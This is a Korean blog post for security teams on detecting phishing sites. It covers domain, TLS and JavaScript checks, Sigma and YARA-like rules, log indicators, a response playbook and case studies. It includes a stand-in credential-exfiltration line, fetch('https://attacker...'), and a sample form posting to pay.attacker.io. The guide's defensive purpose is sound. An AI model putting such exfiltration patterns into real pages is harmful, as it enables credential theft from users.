728x90
TL;DR 체크리스트
- 도메인 유사도(typosquatting/IDN)·등록일이 최근인지 확인
- HTTPS/인증서 체인·SAN·발급일/만료일 이상 여부
- 폼(action) 전송 대상이 현재 도메인과 다른지 확인
- JS 난독화(atob/eval/fromCharCode)·클립보드/키보드 후킹·우클릭 차단
- onpaste 금지, autocomplete=off 등 비정상 UX 패턴
- 리다이렉션 다단계·URL 단축기·Referrer 불일치
- 리소스 도메인 혼종(정상 CDN/로고 + 공격자 도메인으로 전송)
- 콘텐츠 품질(오타·번역체·어색한 로고, 이미지로 된 텍스트)
- 사회공학 프리텍스트(계정정지/환급/택배비·QR·콜백 유도)
- 조치: 차단(IoC) → 로그확인(접속·POST) → 계정/토큰 무효화 → 신고/테이크다운
분류 체계
- 기술적 관점: 도메인/DNS/호스팅, TLS/HTTPS, HTML/JS/리소스, 네트워크/헤더, AitM(중간자형 피싱) 지표
- 사회공학 관점: 프리텍스트(시나리오), 메시지 톤/구성, 유도 장치(시간 압박·권위 남용·보상/위협)
- 행위 유도 방식: 링크/QR/콜백(전화)·파일/앱 설치·인증 정보/OTP/OAuth 동의·원격지원
- 대응: 초기 triage → 기술 분석/증적 보존 → 차단/사내모니터링 → 계정/토큰/장치 대응 → 외부 신고/테이크다운 → 교육/재발 방지
기술적 관점 상세 점검
1. 도메인/DNS/호스팅
- 유사도메인: typosquatting(
paypa1.com
), combosquatting(naver-login-secure.com
), IDN/동형문자(예:аррӏе.com
→ punycodexn--
시작) - 등록일/WHOIS: 며칠~몇 주 내 신규 등록, 개인정보 보호로 등록자 은폐, 비정상 레지스트라
- DNS 특성: 짧은 TTL, 최근 생성된 NS/A 레코드, 빈번한 IP 교체, 의심 ASN/불량 호스팅
명령어
# WHOIS / 등록일·레지스트라 확인
whois suspicious-domain.example
# DNS 기록 및 TTL 확인
dig +trace suspicious-domain.example
dig suspicious-domain.example A +noall +answer
파이썬(동형문자/IDN 감지)
import idna
def is_idn(domain: str) -> bool:
return domain.startswith("xn--") or any(label.startswith("xn--") for label in domain.split('.'))
print(is_idn("xn--pple-43d.com"))
2. TLS/HTTPS
- 인증서: CN/SAN에 타 브랜드 도메인 혼재, 체인 오류, 발급/만료 기간 비정상(과도하게 짧음), OCSP 응답 이상
- HSTS 미적용/혼합콘텐츠: 로그인 페이지인데 HSTS 없음, http 리소스 섞임
명령어
# 인증서·체인 확인
openssl s_client -connect suspicious-domain.example:443 -servername suspicious-domain.example -showcerts </dev/null
# 헤더 점검(HSTS, CSP 등)
curl -sI https://suspicious-domain.example
3. HTML/JS/리소스 정적·동적 분석
- Form action 교차: 페이지 도메인 ≠ form action 도메인
- 비정상 UX:
onpaste="return false"
,autocomplete="off"
, 우클릭/DevTools 차단 스크립트 - JS 난독화/데이터 유출:
eval
,atob
,fromCharCode
, 외부 엔드포인트로 크리덴셜 전송fetch('https://attacker...')
- 리소스 혼종: 로고/폰트/CDN은 정상처럼 보이지만 POST/비콘은 공격자 도메인
- 안티분석: 지오펜스(국가별 차단), 헤드리스 탐지(
navigator.webdriver
검사), 시간/세션 키트
빠른 그렙 포인트
# 폼 전송 대상/의심 스크립트 패턴
curl -sL https://suspicious-domain.example | grep -Ei 'form|action=|atob\(|fromCharCode|eval\(|onpaste|autocomplete=|fetch\(|XMLHttpRequest'
YARA-like(난독화 패턴 예시)
rule Phish_Obfuscated_JS {
strings:
$a = /atob\(|eval\(|fromCharCode\(/ nocase
$b = /onpaste\s*=\s*["']return\s+false["']/ nocase
condition:
any of them
}
4. 네트워크/HTTP 헤더/행위
- 다단계 리다이렉션(URL 단축 → 공격 페이지),
meta refresh
/JS 리다이렉트 - Referrer/Origin 불일치, 의심스러운
X-Requested-With
또는 비정상 UA - 비정상 쿠키 취급: 보안속성 미설정, 탈취 목적의 광범위 쿠키 접근
헤더/리다이렉션 추적
curl -ILk https://short.example/link
5. AitM(중간자형) 피싱 특징
- 브랜드 완전 복제 + 실시간 OTP 탈취(Evilginx, Modlishka 등)
- 공격자 도메인에서 세션 토큰/쿠키를 수집, 이후 합법 로그인처럼 보임
- 지표: 도메인은 낯선데 로그인 UX/리소스는 정품과 동일, 폼 action·XHR이 공격자 도메인, 로그인 직후 합법 사이트로 302
사회공학 관점(프리텍스트 & 톤)
1. 대표 프리텍스트 유형
- 계정 정지/잠김: “24시간 내 미인증 시 계정 폐쇄”
- 환급/세금/상품권: “수수료 결제 시 환급”
- 배송/관세: “소액 결제 필요. 링크 클릭”
- 보안 경고: “새 기기 로그인 탐지. 비밀번호 재설정”
- 인사/급여/채용: “급여명세서 확인”, “합격 통지 파일 확인”
- 공급망/거래처: “송장/발주서 수정본 확인”
- SSO/OAuth 동의 피싱: 광범위 권한 승인 유도(offline_access 등)
- 콜백 피싱: “고객센터로 즉시 전화” → 전화 중 구두로 OTP 수집
- QR(Quishing): 메일/포스터의 QR → 모바일에서 로그인 유도
2. 톤·문구 지표
- 시간 압박/위협·권위 호소(법무/인사/세무/보안팀 사칭)
- 불자연스런 한국어/번역체, 브랜드 가이드와 어긋나는 로고/컬러
행위 유도 방식별 판단 포인트
- 링크 클릭: 표시 텍스트≠실제 링크, URL 단축기, 프리뷰/호버 불일치
- 파일 다운로드(문서·압축·이미지·앱): 매크로·LNK·스크립트 포함, 모바일 APK/프로파일 설치(iOS
mobileconfig
) - 원격지원 툴 설치: AnyDesk/TeamViewer 유도, 결제/OTP 입력 요구
- OTP/MFA 코드 요청: “보안 확인용” 명목의 즉시 요구 = 고위험
- OAuth 동의창: 필요 이상 광범위 스코프 요구, 발행자 불명 앱
- 콜백/전화: 번호 스푸핑, 언어/억양·스크립트 방식 통일, OTP/카드정보 구두 수집
300x250
로그·탐지 포인트(프록시/DNS/IDP/EDR)
1. 프록시/HTTP 로그
- POST /login, /verify, /update 등 브랜드 도메인 아님
- Referrer가 URL 단축/이상 도메인
- User-Agent 변칙(자동화/헤드리스 흔적)
Sigma 예시(프록시)
title: Suspicious Login Post to Non-Trusted Domains
logsource: { category: proxy }
detection:
selection:
http_method: POST
url|contains:
- "/login"
- "/verify"
- "/session"
filter_trusted_domain:
dst_domain|endswith:
- "login.microsoftonline.com"
- "accounts.google.com"
- "nid.naver.com"
condition: selection and not filter_trusted_domain
level: high
2. DNS
- 신규 등록 의심 도메인 다량 조회(폭넓은 사내 분포)
- 단기 TTL, 비정상 NXDOMAIN 패턴
3. IDP/SSO(M365/Google 등)
- 짧은 시간 내 MFA 성공 직후 신규 장소·VPN 호스팅 ASN에서 토큰 사용
- OAuth 승인 이력에서 미승인 앱 + 광범위 권한
4. EDR/호스트
- 브라우저 쿠키 접근 스크립트, 클립보드/키보드 후킹
- 의심 URL로 스크린샷/키입력 전송 흔적
반자동 분석 스니펫 (샘플)
1. 폼 action, 의심 스크립트 추출
URL="https://suspicious-domain.example"
html=$(curl -skL "$URL")
echo "$html" | grep -Eio '<form[^>]+action=['"'"'"][^"'"'"']+|atob\(|fromCharCode\(|eval\('
2. 파이썬: 도메인 유사도 & IDN 검사(간단 버전)
import difflib, idna
targets = ["paypal.com","naver.com","kakaocorp.com","cafe24.com"]
def looks_like(targets, domain):
scores = {t: difflib.SequenceMatcher(None, t, domain).ratio() for t in targets}
return max(scores.items(), key=lambda x: x[1])
def is_idn(domain):
return domain.startswith("xn--") or any(lbl.startswith("xn--") for lbl in domain.split("."))
test="paypa1-login.com"
print(looks_like(targets, test), "IDN?", is_idn(test))
규칙 예시(HTML/메일/프록시)
1. HTML 정적 룰(개념)
- 조건:
<input type="password">
존재 &form action
외부 도메인 &onpaste
/autocomplete="off"
포함 → High
2. 메일 게이트웨이(Quishing)
- 본문 QR 이미지 포함 & 링크 미기재 & 발신 도메인 신규 등록 → High
3. 프록시 룰(재확인)
- POST to
/login
AND DST 도메인 not in allowlist → Block/Alert
대응 플레이북
- 초기 Triage (격리 환경)
- 링크 직접 클릭 금지 → 헤드리스/샌드박스로 열람(스크린샷·HTML 저장, 해시화)
- WHOIS/DNS/TLS/정적 HTML/JS 분석 → 초기 평판 판정
- 차단/보호
- 도메인·IP·URL·해시를 Proxy/DNS/NGFW/EDR에 IOC 등록(차단)
- 메일 게이트웨이 룰 업데이트(유사 패턴 차단)
- 유사 도메인 워치/모니터링(typo/IDN 리스트)
- 사내 영향도 점검
- 프록시·DNS 로그로 접속자 식별
- IDP에서 해당 사용자 세션 무효화·비밀번호 리셋·MFA 재등록
- OAuth 승인 앱 철회, 토큰/Refresh Token 폐기
- 외부 조치
- 호스팅사/레지스트라 Abuse 신고, 국내는 KISA 신고
- 브라우저 평판(예: Safe Browsing) 신고로 광역 차단 유도
- 커뮤니케이션/교육
- 임직원 보안 공지(사례·특징·대응 요령) 발송
- 피해자 1:1 안내(암호 변경, 계정 점검 체크리스트)
- 증적 보존 & 사후 개선
- HTML/JS/스크린샷/PCAP, 로그 보존(타임라인 정리)
- 탐지 룰/자동화 스크립트 튜닝 → 재발 방지
사례로 보는 판단 포인트
사례 A) “택배 소액결제” 피싱
- 기술: 신규 등록 도메인, URL 단축 → 리다이렉션, HSTS 미적용
- HTML:
form action="https://pay.attacker.io/submit"
,onpaste="return false"
- 사회공학: 시간 압박(“오늘 미납시 반송”), 카카오/네이버 로고 도용
- 대응: 도메인 차단 → 접속자 탐지 → 카드·계정 피해자 대응 → 신고
사례 B) M365 AitM
- 기술: 공격자 도메인에서 정품 리소스 프록시, OTP 실시간 탈취
- 행위: 로그인 직후 합법 사이트로 302(피해자는 정상으로 인지)
- 로그: MFA 성공 직후 새로운 ASN/IP에서 토큰 사용
- 대응: 세션/토큰 폐기, 조건부 액세스 강화(국가/ASN 제한), FIDO2 권장
내부 공지 템플릿
제목: [보안경보] 최근 피싱 사이트 주의
내용 요약
- 유사 도메인/URL 단축 링크 주의
- 로그인/결제 페이지는 반드시 주소창의 도메인 확인
- OTP/MFA 코드 요구 시 절대 제공 금지
대응: 의심시 즉시 보안팀 신고(스크린샷·본문 전달), 클릭/입력했다면 즉시 연락
추가 보안 권고(예방 강도↑)
- 브랜드 보호: 핵심 서비스 도메인 HSTS Preload·DMARC/DKIM/SPF 정교화
- IdP 방어: FIDO2/U2F 도입, 조건부 액세스(국가/ASN/리스크 기반), OAuth 앱 허가 정책
- 프록시 정책: 신뢰 도메인 화이트리스트 기반 SSO 경로만 허용, 의심 도메인 POST 차단
- DNS 필터링: 신규 등록/IDN 도메인 정책, 카테고리 기반 차단
- 사용자 UX 가이드: URL·인증서·도메인 3단 확인, QR+로그인 조합 경계
판단은 누적 신호 기반(단일 지표로 단정 X).
기술적 지표 + 사회공학 프리텍스트 + 행위 유도를 함께 보시면 정확도가 크게 올라갑니다.
728x90
그리드형(광고전용)
댓글